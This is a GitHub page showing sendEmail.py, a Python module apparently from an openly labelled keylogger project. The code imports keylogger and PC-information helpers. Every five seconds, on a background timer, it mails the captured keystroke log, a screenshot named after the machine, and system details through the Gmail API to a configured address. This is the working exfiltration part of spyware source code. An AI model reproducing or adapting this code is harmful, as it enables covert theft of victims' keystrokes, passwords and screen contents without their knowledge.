-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathsendEmail.py
132 lines (101 loc) · 3.83 KB
/
sendEmail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import os, pickle, socket, threading
from mimetypes import guess_type as guess_mime_type
from email.mime.text import MIMEText
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from base64 import urlsafe_b64encode
from pcInfo import info
from functions import keyloggerFn
iPc = info.infoPc()
keyloggerFn = keyloggerFn.keylogger()
class sndEmail:
def __init__(self, destination='idkPutSomething@email', obj='Keylogger',
body=f'{iPc}', attachments=["logs/log.txt", f"{socket.gethostname()}.png"]):
self.__destination = destination
self.__obj = obj
self.__body = body
self.__attachments = attachments
self.scopes = ['https://mail.google.com/']
@property
def gmail_authenticate(self):
creds = None
if os.path.exists("token.pickle"):
with open("token.pickle", "rb") as token:
creds = pickle.load(token)
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
"credentials/credentials.json", self.scopes
)
creds = flow.run_local_server(port=0)
with open("token.pickle", "wb") as token:
pickle.dump(creds, token)
return build("gmail", "v1", credentials=creds)
def timeToSend(self):
service = self.gmail_authenticate
send_message(
service,
self.__destination,
self.__obj,
self.__body,
self.__attachments,
)
timer = threading.Timer(5, self.timeToSend)
timer.daemon = True
timer.start()
def add_attachment(message: MIMEMultipart, filename: str):
timer = threading.Timer(2, keyloggerFn.screenshot)
timer.start()
content_type, encoding = guess_mime_type(filename)
if content_type is None or encoding is not None:
content_type = 'application/octet-stream'
main_type, sub_type = content_type.split('/', 1)
if main_type == 'text':
fp = open(filename, 'rb')
msg = MIMEText(fp.read().decode(), _subtype=sub_type)
fp.close()
elif main_type == 'image':
fp = open(filename, 'rb')
msg = MIMEImage(fp.read(), _subtype=sub_type)
fp.close()
elif main_type == 'audio':
fp = open(filename, 'rb')
msg = MIMEAudio(fp.read(), _subtype=sub_type)
fp.close()
else:
fp = open(filename, 'rb')
msg = MIMEBase(main_type, sub_type)
msg.set_payload(fp.read())
fp.close()
filename = os.path.basename(filename)
msg.add_header('Content-Disposition', 'attachment', filename=filename)
message.attach(msg)
def buildMsg(destination: str, obj: str, body: str, attachments: list[str]):
if not attachments:
message = MIMEText(body)
message["to"] = destination
message["from"] = destination
message["subject"] = obj
else:
message = MIMEMultipart()
message["to"] = destination
message["from"] = destination
message["subject"] = obj
message.attach(MIMEText(body))
for fl in attachments:
add_attachment(message, fl)
return {"raw": urlsafe_b64encode(message.as_bytes()).decode()}
def send_message(svr, destination: str, obj: str, body: str, attachments: list[str]) -> object:
return (
svr.users()
.messages()
.send(userId="me", body=buildMsg(destination, obj, body, attachments))
.execute()
)